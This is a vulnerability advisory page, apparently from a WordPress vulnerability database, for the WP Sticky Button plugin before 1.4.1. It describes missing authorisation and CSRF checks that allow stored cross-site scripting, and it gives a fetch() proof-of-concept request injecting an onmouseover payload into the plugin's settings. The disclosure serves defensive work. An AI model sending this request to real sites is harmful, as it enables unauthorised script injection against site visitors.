Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81
HistoryAug 01, 2022 - 12:00 a.m.

WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

2022-08-0100:00:00
Krzysztof Zając
wpscan.com
10

0.001 Low

EPSS

Percentile

21.3%

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues

PoC

fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=okapi_wasb_save_settings&number;=" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert1\x0cppp&display;_on_desktop=1&activate;=1”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
wa-sticky-buttonlt1.4.1

0.001 Low

EPSS

Percentile

21.3%

Related for WPVDB-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81